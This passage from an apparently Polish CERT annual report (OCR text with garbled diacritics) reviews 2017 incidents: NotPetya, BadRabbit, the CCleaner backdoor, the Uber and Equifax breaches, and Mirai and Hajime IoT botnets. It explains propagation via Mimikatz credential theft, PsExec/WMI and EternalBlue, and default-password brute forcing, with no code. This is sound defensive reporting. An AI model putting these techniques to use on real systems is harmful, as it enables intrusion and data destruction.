WannaKey oraz Wannakiwi.

Po zaszyfrowaniu danych, oprogramowanie zadato
od poszkodowanego 300 dolaréw ptatnych w Bitco-
inach (w kodzie zapisane byty na state 3 adresy
portfeli BTC), przy czym w przypadku niewptacenia
okupu w ciggu 3 dni, kwota zadania byta podwajana.
Jesli wptaty nie dokonano przez 7 dni od infekgji,
odszyfrowanie plikdw miato by¢ juz niemozliwe.
Mimo wszystko zadna z ofiar, ktére wptacity okup,
nie potwierdzita odzyskania wszystkich zaszyfrowa-
nych danych.

Nalezy dodaé, iz mimo globalnego zasiegu, atak nie
odnidst spektakularnego sukcesu finansowego - na
zaptate okupu zdecydowato sie jedynie ok. 350
0s6b. 3 sierpnia 2017 r. przestepcy wyptacili ze
wspomnianych portfeli 52.2 BTC, co przy kursie
Bitcoina na tamten czas, przetozyto sie na zysk

w kwocie ok. 143 000 dolaréw. Co ciekawe, po
tamtym czasie na podane portfele bitcoinowe wcigz
byty wptacane kolejne srodki.

Atrybucja ataku nie zostata jednoznacznie potwier-
dzona. Zaréwno Kaspersky Lab jak i Symantec
przypisuja rozpowszechnienie WannaCry pétnoc-
nokoreanskiej grupie Lazarus. Podstawg do tych
przypuszczen byty fragmenty kodu WannaCry
tudzaco podobne do kodu narzedzi wykorzystywa-
nych przez Lazarusa przy wczesniejszych atakach.

NotPetya

Pierwsza potowa 2017 roku, po wydarzeniach

z udziatem WannaCry, przyniosta nowe wyzwa-
nia. Wsréd incydentéw zwigzanych ze ztosliwym
oprogramowaniem, ktérych echo dato sie ustyszec
na arenie miedzynarodowej, znalazty sie infekcje
spowodowane przez ransomware NotPetya (zwany
takze ExPetr). Wsréd badaczy szkodliwego opro-
gramowania pojawity sie opinie dopuszczajace
mozliwo$¢ zaklasyfikowania ztosnika pod postacig

kolejnego wariantu ransomware znanego dotych-
czas jako Petya. Znaczace réznice w stosunku do
poprzednich wersji spowodowaty jednak, ze eksperci
z Kaspersky Lab skategoryzowali malware w odreb-
nej rodzinie ztosliwego oprogramowania i przypisali
mu nowe nazewnictwo®’.

59 https:/www.kaspersky.com/blog/new-ransom-
ware-epidemics/17314/
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27 czerwca 2017 r. Europe zaczeta obiegaé
informacja o masowej aktywnosci szkodliwego
oprogramowania szyfrujgcego. Pierwsze zain-
fekowane urzadzenia znaleziono na terytorium
Ukrainy (ich liczba przekraczata wéwczas 12,5
tys.), nastepne w Rosji, Niemczech, Belgii, Brazylii

i Stanach Zjednoczonych - tacznie infekcje wykryto
w kilkudziesieciu krajach¢®. Ofiarami NotPetya
okazaty sie réwniez pojedyncze firmy na terenie
Polski¢!. Skala incydentu objeta swoim zasiegiem
organizacje z réznych sektoréw, wtaczajac w to
firmy transportowe, organizacje finansowe, przed-
siebiorstwa energetyczne, ochrone zdrowia i centra
handlowe. Grupa szczegdlnego ryzyka objeta
rowniez maszyny nieposiadajace aktualnych popra-
wek bezpieczenstwa na podatnosci MS17-010,
CVE-2017-0144 i CVE-2017-0145¢,

Opisywany wariant ransomware szyfrowat wybrane
pliki na komputerze ofiary, opierajac sie na zdefi-
proces dokonywat sie przy uzyciu algorytmu AES

z wykorzystaniem generowanego dynamicznie
128-bitowego klucza. Ztosliwe oprogramowanie
umieszczato takze swoj wtasny kod w sektorze
rozruchowym dysku, co w konsekwencji prowadzito
do szyfrowania tablicy MFT po restarcie urzadzenia.
Przed dokonaniem restartu, ztoénik czekat okoto
jedna godzine, dokonujac préby autopropagacji

na inne maszyny w sieci lokalnej®. Klucz AES,
wykorzystany do szyfrowania plikow uzytkownika,
poddany byt dodatkowej enkrypcji 2048-bitowym
kluczem RSA%. Nadpisanie tablicy MFT dokonywato
sie przy uzyciu zaadoptowanej wersji algorytmu

60 https://cloudblogs.microsoft.com/microsoftse-
cure/2017/06/27 /new-ransomware-old-techniques-
petya-adds-worm-capabilities/?source=mmpc

61 https:/niebezpiecznik.pl/post/kolejny-grozny-global-
ny-atak-tym-razem-ransomware-petya-ofiary-sa-takze-w-
polsce/

62 https:/www.us-cert.gov/ncas/alerts/TA17-181A

63 https:/www.us-cert.gov/sites/default/files/publica-
tions/MIFR-10130295.pdf

64 https://zaufanatrzeciastrona.pl/post/tworcy-notpe-
tya-chca-100-bitcoinow-za-umozliwienie- odszyfrowan-
ia-plikow/

Salsa20 i ukryte byto pod szyldem sfatszowanej
aplikacji CHKDSK®> 66,

W przeciwienstwie do WannaCry, dziatanie NotPe-
tya nakierowane byto na propagacje od wewnatrz
sieci, ktéra w domysle powinna stanowié zaufane
srodowisko. Opisywany malware postugiwat sie
zmodyfikowanga wersja narzedzia Mimikatz, za
pomoca ktérego wykradane byty poswiadczenia
uzytkownika. Skompromitowane dane stuzyty prébie
wykonania ztosliwego kodu na zdalnych maszynach
przy uzyciu WMI (Windows Management Instrumen-
tation) lub narzedzia PsExec. Dodatkowa metoda,
stosowang przy propagacji NotPetya, byta préba
rozpowszechnienia ztosnika z wykorzystaniem explo-
itow EternalBlue / EternalRomance®” %8,

Ponowne uruchomienie komputera i nadpisanie
tablicy MFT konczyto sie wyswietleniem informacji
o zadaniu okupu. W komunikacie zawarty byt adres
portfela, na ktéry nalezato dokona¢ wptaty ($300,
ptatne w bitcoinach), adres e-mail do kontaktu

z przestepcami oraz unikalny identyfikator ofiary.
Warto zauwazy¢, ze nie istnieje potwierdzona kore-
lacja pomiedzy kluczami uzytymi do szyfrowania,

a wygenerowanym identyfikatorem. Z tego powodu,
odszyfrowanie danych ofiary, nawet po zaptaceniu
okupu, moze okazac sie niemozliwe. Bazujac na
powyzszych informacjach trudno jednoznacznie
stwierdzi¢, czy wspomniany wariant szkodliwego
kodu zostat w zamysle napisany jako ransomware

i przy jego tworzeniu zostat popetniony btad, czy tez
zadaniem ztos$nika byto nieodwracalne zniszczenie
danych uzytkownika. Wyswietlony w komunikacie
adres e-mail, pod ktérym (po wczesniejszej zaptacie
okupu) ofiary mogty otrzymac potencjalny klucz
deszyfrujacy, zostat w niedtugim czasie wytaczony
przez ustugodawce®. Kilka dni pozZniej w serwisie
DeepPaste opublikowano wiadomos¢, w ktérej autor

65 http:/www.itsecurityguru.org/2017/07/03/notpe-
tya-ransomware-frequently-ask-questions-faq/

66 https:/www.us-cert.gov/sites/default/files/publica-
tions/MIFR-10130295.pdf

67 https:/www.cert.pl/news/single/atak-petya-mischa/
68 https:/www.us-cert.gov/ncas/alerts/TA17-181A

69 https:/www.bleepingcomputer.com/news/security/
email-provider-shuts-down-petya-inbox- preventing-vic-
tims-from-recovering-files/
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poinformowat, ze za kwote 100 BTC gotowy jest
przekaza¢ prywatny klucz RSA, umozliwiajacy odszy-
frowanie unikalnego dla kazdego komputera klucza
AES”°. Do dzi$ w sieci nie pojawita sie informacja,
ktéra potwierdzataby przekazanie przestepcom
wspomnianej kwoty okupu i odszyfrowanie danych.
Dodatkowym utrudnieniem mogtby okazac sie fakt
zaistniatego btedu w mechanizmie enkrypcji. Proces
szyfrowania obejmowat jedynie pierwszy megabajt
przetwarzanych plikéw, ich nazwy pozostawaty
niezmienione, nie byty réwniez dodawane do nich
zadne stopki oraz nagtéwki. Generowato to dodat-
kowa przeszkode utrudniajgca rozpoznanie, ktére
pliki zostaty rzeczywiscie zaszyfrowane’!. Zaletg

w tym wypadku mogtaby okazaé sie mozliwos¢
recznego odzyskania zawartosci niektorych plikow,
przekraczajacych wielko$¢ jednego megabaijta, np.
baz danych.

Analiza tego typu incydentéw zawsze niesie

za sobg pytanie o poczatkowy wektor infekgji.

W srodowiskach badaczy pojawity sie gtosy o dostar-
czeniu ztosliwego kodu z wykorzystaniem metody
supply-chain. Wymieniona technika opiera sie na
kompromitacji zaufanych dostawcéw sprzetu lub
oprogramowania, aby nastepnie tg drogg ztosliwy
kod zostat dostarczony do organizacji. Celem

ataku hakeréw miatoby w tym wypadku okazac sie
popularne na Ukrainie oprogramowanie ksiegowe
M.E.Doc. W s$rodowiskach zespotdw reagujacych

na incydenty, pojawity sie analizy wykazujace wyko-
rzystanie skompromitowanej wersji produktu do
infekowania jego uzytkownikéw. Stad NotPetya
podejmowat prébe propagacji na dalsze maszyny,
postugujac sie wyzej opisanymi metodami’> 7,

o

70 https://zaufanatrzeciastrona.pl/post/tworcy-notpe-
tya-chca-100-bitcoinow-za-umozliwienie- odszyfrowan-
ia-plikow/

71 https:/www.welivesecurity.com/2017/06/30/tele-
bots-back-supply-chain-attacks-against-ukraine/

72 http:/blog.talosintelligence.com/2017/07/the-med-
oc-connection.html

73 https:/www.crowdstrike.com/blog/fast-spread-
ing-petrwrap-ransomware-attack-combines-
eternalblue-exploit-credential-stealing/

Rosnie stosunkowy udziat
zgtoszen dotyczacych
ztosliwego oprogramowania,

w szczegdlnosci

ransomware.
Jest to zaréwno
skutek wzrostu ciezaru
tych atakéw, jak i

/
§

*, prowadzonych dziatan
uswiadamiajacych.
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BadRabbit

24 pazdziernika 2017 roku badacze bezpieczenstwa
IT poinformowali’ o szybko rozprzestrzeniajagcym
sie zagrozeniu o nazwie BadRabbit, ztosliwym opro-
gramowaniu szyfrujacym. Wektorem ataku byty
przekierowania z przejetych stron internetowych
(gtéwnie rosyjskich serwiséw informacyjnych) do
pobrania fatszywej aktualizacji Adobe Flash Player
(atak typu drive-by). W tym wektorze nie byty
wykorzystywane podatnosci bezpieczeristwa, wiec
uzytkownik musiat zgodzi¢ sie na pobranie i urucho-
mienie pliku wykonywalnego. Wieczorem tego
samego dnia pierwotny serwer dystrybucyjny zostat
zneutralizowany. Dodatkowo, w sieciach lokalnych,
BadRabbit rozprzestrzeniat sie automatycznie za
pomoca predefiniowanej listy uzytkownikéw oraz
haset, a takze tych pozyskanych z lokalnego systemu
za pomoca wariantu narzedzia Mimikatz. Miat takze
zaimplementowany atak EternalRomance (z wycieku
z NSA), ktéry wykorzystywat luke w protokole SMB
w systemach Windows (MS17-010).

Szyfrowanie odbywato sie na dwa sposoby - poje-
dynczych plikéw oraz catego dysku. Pojedyncze pliki
szyfrowane byty na podstawie znanej listy rozsze-
rzen réznych formatéw dokumentéw algorytmem
AES-128 w trybie CBC. Z kolei szyfrowanie catych
partycji wykorzystywato sterownik bazujacy na
otwartym narzedziu DiskCryptor przy uzyciu algo-
rytmu AES-128 w trybie XTS.

Klucz byt generowany na komputerze uzytkownika,
a nastepnie szyfrowany algorytmem RSA za pomoca
2048-bitowego klucza publicznego przestepcéw.
Cho¢ badaczom bezpieczenstwa nie udato sie
znalez¢ btedu w procedurze generowania klucza czy
szyfrowania plikéw i dysku, to technicznie mozliwe
byto ich poprawne odszyfrowanie po zaptaceniu
okupu i otrzymaniu od przestepcéw klucza.

74 https://securelist.com/bad-rabbit-ransomware/82851/
http://blog.talosintelligence.com/2017/10/bad-rabbit.html
http:/www.zdnet.com/article/bad-rabbit-ten-things-you-
need-to-know-about-the-latest-ransomware-outbreak/

Ostatecznie ztosliwe oprogramowanie restartowato
komputer ofiary, by na etapie uruchamiania systemu
operacyjnego wyswietli¢ uzytkownikowi note z zada-
niem okupu oraz zaszyfrowanym kluczem, ktéry
nalezato przekazaé przestepcom.

Rysunek 16. Ekran z zagdaniem okupu

Mamy do czynienia z powrotem
robakow internetowych - zaréwno
zwigzanych z podatnosciami
urzadzen loT jak i ustug

w systemach operacyjnych

(np. EternalBlue w MS Windows).
Wsrod wartych odnotowania
efektow dziatania tych robakow
nalezy wymienic¢ botnety loT
oraz masowe infekcje w sieciach
lokalnych przez niszczacego
dane NotPetya.”

Przemystaw Jaroszewski,
Kierownik CERT Polska
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Jak informowata strona przestepcéw w sieci TOR,
okup wynosit 0.05 BTC, co byto wtedy réwnowazno-
$cig okoto 280 USD.

Badacze bezpieczenstwa podkreslajg wiele podo-
bienstw BadRabbit do ransomware’u NotPetya.
Podobne byty nie tylko metody rozprzestrzeniania
sie w sieciach lokalnych, ale takze sam kod - wedtug
firmy CrowdStrike”> pokrywat sie on az w 67 proc.

Wedtug statystyk producentéw programéw antywi-
rusowych, najwiecej ofiar znajdowato sie w Ros;ji i na
Ukrainie, ale nieliczne infekcje wykryte byty réwniez
w Butgarii, Turcji, Japonii, Niemczech, Stanach Zjed-
noczonych, Korei Potudniowej oraz Polsce. Wsréd
poszkodowanych znalazty sie np. metro w Kijowie
czy lotnisko w Odessie’.

Time left before
HA® /r~&- k 1

Rysunek 17. Strona internetowa przestepcow

Wycieki danych logowania

W 2017 roku zaobserwowalismy znaczny wzrost
wyciekéw danych internautéw w formie par login/
mail - hasto. Najczesciej dane te s3 wykradane

z systemoéw, ktére uzywaja ich do uwierzytelniania
uzytkownikow, np. for dyskusyjnych, czy innych apli-
kacji internetowych.

Przestepcy wykorzystuja fakt, ze ludzie czesto
uzywaja tych samych haset do réznych serwiséw,
najczesciej udostepniajacych ptatne tresci. Probujg
oni takze uzyskac dostep do poczty, dzieki czemu
moga podjac dalsze dziatania majace na celu eskala-
cje uprawnien.

Obrét tego typu bazami odbywa sie na czarnym
rynku, czesto w bardzo waskim gronie. Z czasem
jednak traca one na wartosci i sg upubliczniane przez
jednego z kupcéw. Czas od witamania do upublicz-
nienia wycieku najczesciej liczy sie w latach, rzadziej
W miesigcach.

W roku 2017 miaty miejsce publikacje wielu wycie-
kéw, czesto skompilowanych w forme jednego
pliku, przez co nie mozna jednoznacznie okresli¢
zrédta danych. Serwis Have | Been Pwned, prowa-
dzony przez badacza bezpieczenstwa Troya Hunta,
udostepnia informacje o wiekszosci z nich.

Na przestrzeni catego roku zostato tam zarejestro-
wanych’” 81 wyciekéw z taczng sumg 2,8 miliarda
rekordow.

W grudniu ubiegtego roku polskie media poinformo-
waty’® o szczegdlnie duzym wycieku danych. Wsrod
1,4 miliarda par mail-hasto, ponad 10 milionéw doty-
czyto kont zarejestrowanych u polskich dostawcéw
ustug poczty elektroniczne;j.

75 https:/www.infosecurity-magazine.com/news-fea-
tures/badrabbit-rabid-ransomware-bunnies/

76 https://gizmodo.com/bad-rabbit-ransomware-strikes-
russia-and-ukraine-1819814538

77 https:/www.troyhunt.com/2017-retrospective/

78 https://zaufanatrzeciastrona.pl/post/hasla-ponad-10-
milionow-polskich-kont-email-dostepne-do-pobrania-w-
sieci/
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CCleaner

11 wrzesnia 2017 r. oprogramowanie antywirusowe
firmy Morphisec, zainstalowane na stacjach uzytkow-
nikdw, wykryto’® podejrzane dziatania podejmowane
przez jeden z zainstalowanych tam komponentéw.
Dzien pdzniej na ten sam trop wpadt®® zespét bezpie-
czenstwa Cisco Talos.

Winowaijca okazat sie by¢ CCleaner, stworzony przez
firme Piriform. Jest to bezptatna aplikacja przezna-
czona do optymalizacji systemu, ktéra cieszy sie
ogromng popularnoscig wérdd posiadaczy urzadzen
mobilnych i stacjonarnych, takze w Polsce. W lipcu
marka zostata przejeta®! przez firme Avast, giganta

z dziedziny bezpieczenstwa IT.

Wykryta anomalia wskazywata na uzycie mechani-
zmu tadowania i wykonywania kodu bezposrednio

Z pamieci podrecznej, z pominieciem odczytywania
pliku wykonywalnego z dysku. Technika ta jest czesto
wykorzystywana przez twércow ztosliwego oprogra-
mowania w celu zmniejszenia jego wykrywalnosci
przez systemy antywirusowe oparte na porownywa-
niu plikdw z bazg sygnatur.

W trakcie analizy ustalono, ze do jednej z aktu-
alizacji narzedzia CCleaner (5.33) i CCleaner

Cloud (1.07) dotaczony zostat ztosliwy kod, ktory
pobrato okoto 2,27 miliona oséb na catym swiecie.
Paczka zostata podpisana cyfrowo oryginalnym
certyfikatem wydawcy oprogramowania, co
wskazuje na definitywne skompromitowanie jego
infrastruktury.

Atak wykorzystujacy ten wektor zostat podzielony na
etapy. W pierwszym z nich do serwera C&C wysy-
tane s3 informacje o zainfekowanym komputerze,

a najwazniejsze z nich to:

® adres IPi MAC

® nazwa hosta

® wersja zainstalowanego systemu operacyjnego

79 https:/blog.morphisec.com/morphisec-discov-
ers-ccleaner-backdoor

80 https://blog.talosintelligence.com/2017/09/avast-dis-
tributes-malware.html

81 https:/blog.avast.com/welcome-piriform-to-avast

® nazwa domeny
e lista zainstalowanego oprogramowania
e lista uruchomionych proceséw

W kolejnym etapie zostaje wystany zestaw rozkazéw,
ktéry otrzymaja i wykonajg tylko wybrane maszyny.
O przynaleznosci do tej waskiej grupy decyduje
mechanizm znajdujacy sie na serwerze, ktory poréw-
nuje pobrane dane z listg interesujacych domen,
adresow IP i nazw hostow.

Pobrany w drugim etapie tadunek to standardowy
RAT - narzedzie stuzace do zdalnego zarzadzania
komputerem bez wiedzy ofiary.

Dane, pozyskane w poprzednim kroku, pozwalaja na
przygotowanie bardziej wyrafinowanego i spersona-
lizowanego ataku, ktéry moze wykorzystywac rézne
techniki utrudniajace wykrycie, zaleznie od konfigu-
racji atakowanego $rodowiska.

Analitykom zostat udostepniony kod oraz zrzut bazy
danych®, z ktérej korzystata aplikacja C&C.

Na podstawie analizy tych danych udato sie ustali¢, ze
z okoto 862 tysiecy zainfekowanych stacji roboczych,
tylko 23 pobraty tadunek drugiego stopnia. Oznacza
to, ze rzeczywista liczba ofiar jest niewielka i atak
przyniost szkode jedynie utamkowi uzytkownikéw,
ktoérymi byta garstka znajdujgca sie w infrastrukturze
lideréw produkcji rozwigzan z dziedziny IT.

82 https://blog.talosintelligence.com/2017/09/cclean-
er-c2-concern.html
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Osoby stojace za tym przedsiewzieciem nie zostaty
jednoznacznie zidentyfikowane, jednak czesci ztosli-
wego kodu zostaty uzyte takze w innych atakach,
ktérych autorstwo przypisuje sie grupie APT17/
Group 72.

Powinnismy spodziewac sie kolejnych tego typu
atakéw w przysztosci. Szanowani dostawcy ustug

moga uzywac skompromitowanych komponentéw
zewnetrznych, sami pas¢ ofiarg ataku albo zostaé
zmuszeni do dodania funkcjonalnosci tylnej furtki
przez nierozwaznych pracownikéw lub stuzby
specjalne. Wszystko to moze prowadzi¢ do uzyska-
nia dostepu do zasobdéw przez niepowotane do tego
osoby i w konsekwencji do wycieku.

Wyciek z Ubera

We wrzesniu 2017 r. doszto do zmian w zarzadzie
Ubera, ktérych przyczyna byty® stabe wyniki finan-
sowe oraz liczne ktopoty zwigzane z wizerunkiem
marki. Dara Khosrowshahi, nowy dyrektor generalny,
postanowit zmieni¢ dotychczasowe zasady prowa-
dzenia biznesu.

W ramach ods$wiezenia metodyki dziatan, w listopa-
dzie firma wydata o$wiadczenie®* o udanym ataku
informatycznym na infrastrukture firmy, do ktérego
doszto ponad rok wczesniej. W rezultacie wtamania
wyciekty dane osobowe 57 milionéw uzytkownikow
z catego $wiata, zaréwno klientow, jak i kierowcow.

Atakujacym w pazdzierniku 2016 udato sie uzyskac
dostep®® do prywatnego repozytorium kodu prze-
chowywanego na platformie GitHub, ktére byto
wykorzystywane przez programistéw Ubera. Chociaz
nie znalezli tam danych osobowych, udato im sie
wykras¢ informacje pozwalajace uwierzytelnic sie

w ustudze Amazon AWS, gdzie wérdd archiwéw
znalezli miedzy innymi produkcyjne bazy danych.

83 https:/money.cnn.com/2017/08/27/technology/
new-uber-ceo/index.html

84 https:/www.theguardian.com/technology/2017/
nov/21/uber-data-hack-cyber-attack

85 https:/www.bloomberg.com/news/arti-
cles/2017-11-21/uber-concealed-cyberattack-that-ex-
posed-57-million-people-s-data

Zawarte w nich byty imiona i nazwiska, adresy
email i numery telefonéw pasazeréw korzystajgcych
z aplikacji, a takze dane okoto 7 milionéw kierow-
céw. Ponadto skradziono skany praw jazdy okoto
600 tys. kierowcoéw z USA. Wyciek objat takze 70
tys. pasazeréw i kierowcéw w Polsce®.

Nastepnie przestepcy zgtosili sie do firmy z zadaniem
okupu w zamian za obietnice nieujawnienia informa-
cji o wtamaniu, a takze skasowania wykradzionych
danych. Joe Sullivan, ktéry w tamtym czasie petnit
funkcje szefa bezpieczenstwa, odpowiedzialny byt za
nawigzanie wspoétpracy z wtamywaczami i wyptate
100 tys. dolaréw. Zeby nie wzbudzaé podejrzen,
transakcje zakwalifikowano jako przekazanie nagrody
z programu “bug bounty”. Ponadto wtamywacze
zostali wysledzeni, dzieki czemu udato sie podpisac

Z nimi umowe poufnosci zobowigzujaca do zachowa-
nia w tajemnicy szczegotdw operacji.

Wedtug amerykanskiego prawa firma miata
bezwzgledny obowigzek poinformowania swoich
pracownikéw i uzytkownikéw o wycieku.

86 https:/help.uber.com/h/12c1e9d1-4042-4231-a3ec-
3605779b8815
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Equifax

Equifax to firma posiadajgca ponad stuletnig histo-
rie, ktéra Swiadczy ustugi z zakresu oceny ryzyka
kredytowego na rzecz®” ponad 800 milionéw oséb
i 88 milionéw firm na catym swiecie. Wsrdd nich sa
najwieksze swiatowe instytucje finansowe.

W 2017 roku zostaty ujawnione dwa ataki na infra-
strukture firmy. Jeden z nich spowodowat wyciek
danych osobowych 143 milionéw Amerykanow, czyli
prawie potowy ludnosci USA.

Atakujacy wykorzystali znang od dwdch miesiecy
luke w jednym z zewnetrznych komponentéw
uzywanych na serwerze aplikacji webowej - frame-
worku Apache Struts. Btagd umozliwiat zdalne,
automatyczne i natychmiastowe wykonanie kodu
przy uzyciu pojedynczego zapytania HTTP ze specjal-
nie spreparowanym nagtéwkiem.

Na firme spadta fala krytyki, gdy na jaw wyszty
machinacje wokot obstugi incydentu.

Poszkodowanych o wycieku poinformowano dopiero
5 tygodni po jego wykryciu. Wczesniej trzech wysoko
postawionych pracownikow sprzedato® akcje firmy
warte facznie 1,8 miliona dolaréw. Po publicznym
ujawnieniu incydentu notowania gietdowe spotki
spadty o 13 proc.

87 https:/en.wikipedia.org/wiki/Equifax

88 http:/money.cnn.com/2017/09/29/news/companies/
equifax-investigation/index.html

5 ¥19,49 (13,66%)

1dzien Sdm 1 miesiac 3 miesiace 1 rok 5lat maks

Rysunek 18. Wykres notowan gietdowych Equifax Inc.

Na dedykowanej stronie - equifaxsecurity2017.com
zainteresowani mogli sprawdzi¢, czy wyciekty ich
dane.

Kontrowersje spowodowat niejasny zapis®’

w regulaminie, ktéry nalezato zaakceptowac przed
sprawdzeniem danych. Byta to tak zwana klauzula
arbitrazowa, w ktorej urzedowym jezykiem infor-
mowano, ze zainteresowany zrzeka sie prawa do
ztozenia pozwu wobec firmy.

Nazwa domenowa wybrana dla strony byta na tyle
skomplikowana, ze tatwo mozna byto popetni¢ btad
wpisujac jg recznie. Wykorzystat to?° badacz bezpie-
czenstwa Nick Sweeting. Zarejestrowat podobng
domene, w ktoérej przestawiony zostat szyk stéw
sequifax” i ,security”. Adres kierowat uzytkownika do
identycznego serwisu. Celem tego dziatania nie byto
wyrzadzenie nikomu szkody, zbierane byty jedynie
statystyki kliknie¢.

89 https:/www.washingtonpost.com/news/the-switch/
wp/2017/09/08/what-to-know-before-you-check-equi-
faxs-data-breach-website/

90 https:/twitter.com/thesquashSH/sta-
tus/910562884639436800/photo/1
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Przynete potkneta nawet firma Equifax, ktéra na
swoim koncie twitterowym opublikowata btedny link
co najmniej 8 razy.

Wiamywacze skontaktowali sie z przedstawicielami
Equifaxu i zaproponowali okup w wysokosci 600
bitcoindw za nieujawnianie wycieku. Przy kursie

z tamtego okresu czasu byto to ponad 2,5 miliona
dolaréw. Osoby decyzyjne nie przyjety oferty i trans-
akcja nie doszta do skutku.

Equifax Inc. @ “Equifax - Sap 18 .
Replying to @buditbeer

You can monitor your eredit with our free product to help prevent id Fraud. For
muore info, visit: securityequifax2017.com -Tim

08 | wh0]

Equifax Inc. @ ©£Equifax - Sep 9
Fephying to @MannyCYC

You can sign up for our TrustediD Premier free for 1 year. For more info and
enrolimeant, visit: securityequifax2017.com ~Tim

Equifax Inc, @ @Equifax - Sep 9 v
Aaplying to @StevenDupre

For more information and enroliment, please visit: secuntyequifax2017.com for
assistance. -Tim

v

Rysunek 19. Przyktad podania przez Equifax bted-
nego adresu URL

Botnety loT

Od kilku lat daje sie zauwazy¢ rosnace zagrozenie
ptynace ze strony urzadzen okreslanych mianem
internetu rzeczy (ang. loT, Internet of Things). Zeszty
rok podtrzymat niestety ten niechlubny trend. Nie
tylko nie przyniést znaczacej poprawy zabezpieczen
urzadzen loT, ale wrecz obnazyt beztroskie podej-
Scie do tej kwestii producentéw podtaczanych do
globalnej sieci nagrywarek DVR (ang. Digital Video
Recorder), kamer przemystowych, zabawek czy
nawet szczoteczek do zebédw. Wykorzystanie tych
urzadzen do propagacji ztosliwego oprogramowania
oraz atakéw na rézne instytucje i zwyczajnych uzyt-
kownikéw internetu byto wiec tylko kwestig czasu.

| niestety nic nie wskazuje na to, zeby tendencja ta
miata sie odwrocic.

Po niewatpliwym sukcesie botnetu Mirai, ktéry

w drugiej potowie 2016 r. spowodowat serie spek-
takularnych atakéw DDoS m.in. na przedsiebiorstwo
Dyn (providera ustug DNS), firme hostingowg OVH,
czy strone dziennikarza $ledczego zajmujacego sie
bezpieczenstwem informacji Briana Krebsa, znalezli
sie kolejni chetni, aby wykorzystac potencjat urza-
dzen loT do wtasnych, nielegalnych celéw. Wkrétce
po tych atakach kod Miraia zostat upubliczniony
przez jego autoréw najprawdopodobniej w celu
utrudnienia powigzania ich ze wspomnianymi incy-
dentami. Skutkiem tego posuniecia byto powstanie
co najmniej kilku nowych botnetéw wykorzystu-
jacych urzadzenia loT, ktére oparte zostaty na
czesciowo zmodyfikowanym kodzie Miraia. Pojawity
sie takze kolejne ewolucje rozwiazan, wykorzystu-
jace inne sposoby ataku i oferujace nowe, bardziej
zaawansowane funkcjonalnosci.
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[FREE] World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC source code release

Yesterday, 12:50 PM (This post was last modified: Yesterday 04:29 PM by Anna-senpal.)

Anna-senpai &
| L33t Member
DRADEARD

\ N9/ 4 \rmam

Preface
Greetz everybody,

When I first go in DDoS industry, I wasn't planning on staying in it long. I made my money, there's lots of eyes looking at IOT now, so it
However, I know every skid and their mama, it's their wet dream to have something besides gbot.

So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS,
shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.

So, I am your senpai, and I will treat you real nice, my hf-chan.

Rysunek 20. Post uzytkownika Anna-senpai ujawniajgcy kod Miraia

Mirai

Dla przypomnienia - celem oryginalnego botnetu
Mirai byty publicznie osiggalne urzadzenia loT oparte
o system operacyjny Linux z zainstalowanym pakie-
tem narzedzi Unixowych o nazwie Busybox oraz
otwartym portem 23 (Telnet). W momencie, gdy
modut Miraia skanujacy sie¢ odnalazt takie urzadze-
nie, nastepowata proba uwierzytelnienia domysinym
loginem i hastem metoda bruteforce. Mirai zawie-
rat predefiniowang liste ponad 60 par kombinacji
login-hasto do kamer internetowych, nagrywarek
DVR, routeréw i innych urzadzen wielu popularnych
producentéw. Autorzy oprogramowania wykorzystali
fakt, iz wielu uzytkownikéw urzadzen loT nie zmienia
domysinych danych do logowania podanych przez
producenta. Czesciowo na podstawie uzytej kombi-
nacji login-hasto byta dokonywana identyfikacja
producenta i/lub modelu badz typu urzadzenia.

W przypadku udanego przejecia, Mirai poszukiwat na
nim innych wariantéw ztosliwego oprogramowania

i w przypadku ich znalezienia starat sie je usunac.
Zabijat rowniez wybrane procesy (Telnet, SSH oraz
HTTP), zabezpieczajac urzadzenie przed ponowna
préba przejecia oraz innymi botnetami, ktére
mogtyby zrobi¢ to samo. W dalszej kolejnosci bot
meldowat sie w C&C w celu oczekiwania na sygnat
do ataku, a nastepnie wykonywat kolejne skanowania
do dalszej propagacji. Czytelnikéow zainteresowanych
szczegbtami dziatania Miraia, a zwtaszcza uzywanymi

przez niego technikami ataku DDoS, zachecamy do
lektury naszego zesztorocznego raportu.

Hajime

Konkurencyjnym botnetem dla Miraia stat sie Hajime,
ktoéry jeszcze w pazdzierniku 2016 r., a wiec krétko
po upublicznieniu kodu Miraia zaczat rosnaé w site,
osiaggajac w pierwszym kwartale 2017 r. imponujgca
liczbe ponad 300000 zainfekowanych urzadzen. Do
rozprzestrzeniania sie uzywat nie tylko otwartego
portu Telnet, ale réowniez dwéch innych wektorow:
ataku na mechanizm password of the day w mode-
mach kablowych Arris oraz eksploitacji standardu
TR-069, umozliwiajacej zdalne zarzadzanie w przy-
padku zainfekowanego modemu przez port 7547 lub
5555. Do uwierzytelnienia na urzadzeniu wykorzy-
stywana byta doktadnie ta sama lista par login-hasto
jak w przypadku Miraia, rozszerzona o dwie dodat-
kowe kombinacje.

Hajime byt oparty o architekture peer-to-peer

(w odréznieniu od Miraia, ktéry zawierat zapisane

na state adresy serwerow C&C). Byta to znaczaca
réznica, poniewaz komendy propagowaty sie miedzy
botami. Trudniej jest taki botnet unieszkodliwic¢. Za
wiekszym stopniem ztozonos$ci malware'u Hajime
przemawia takze mechanizm ukrywania jego
procesow oraz plikéw w systemie zainfekowanego
urzadzenia.
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Interesujace wydaja sie by¢ motywy stojgce za
rozprzestrzenianiem opisywanego botnetu. Hajime
nie posiadat funkcjonalnos$ci umozliwiajacej prze-
prowadzanie atakéw DDoS. Zamiast tego blokowat
dostep do urzadzenia na portach 23, 7547, 5555
oraz 5358 (najczesciej uzywanych przy atakach na
urzadzenia loT), zabezpieczajac je przed przejeciem
przez inne rodziny ztosliwego oprogramowania,

w tym réwniez Miraia. Pokojowe zamiary autora
potwierdzata wyswietlana na terminalu urzadze-
nia wiadomos¢. Jednak z racji modutowej budowy
istnieje uzasadniona obawa, ze w przypadku przeje-
cia botnetu (lub zmiany intencji dziatan jego autora),
moze on stanowic¢ olbrzymie zagrozenie, umozliwia-
jac bardziej wyrafinowane typy atakéw. Niestety,
podobnie jak w przypadku Miraia restart usuwat
Hajime z pamieci urzadzenia, czyniac je ponownie
podatnym na kolejne ataki.

Rysunek 21. Wiadomo$¢ od autora Hajime zdradza-
jaca jego pokojowe zamiary

Brickerbot

Autor innego oprogramowania, zwalczajacego
botnet Mirai, podszedt do tematu z zupetnie innej
strony. Brickerbot, ktéry pojawit sie pierwszy raz

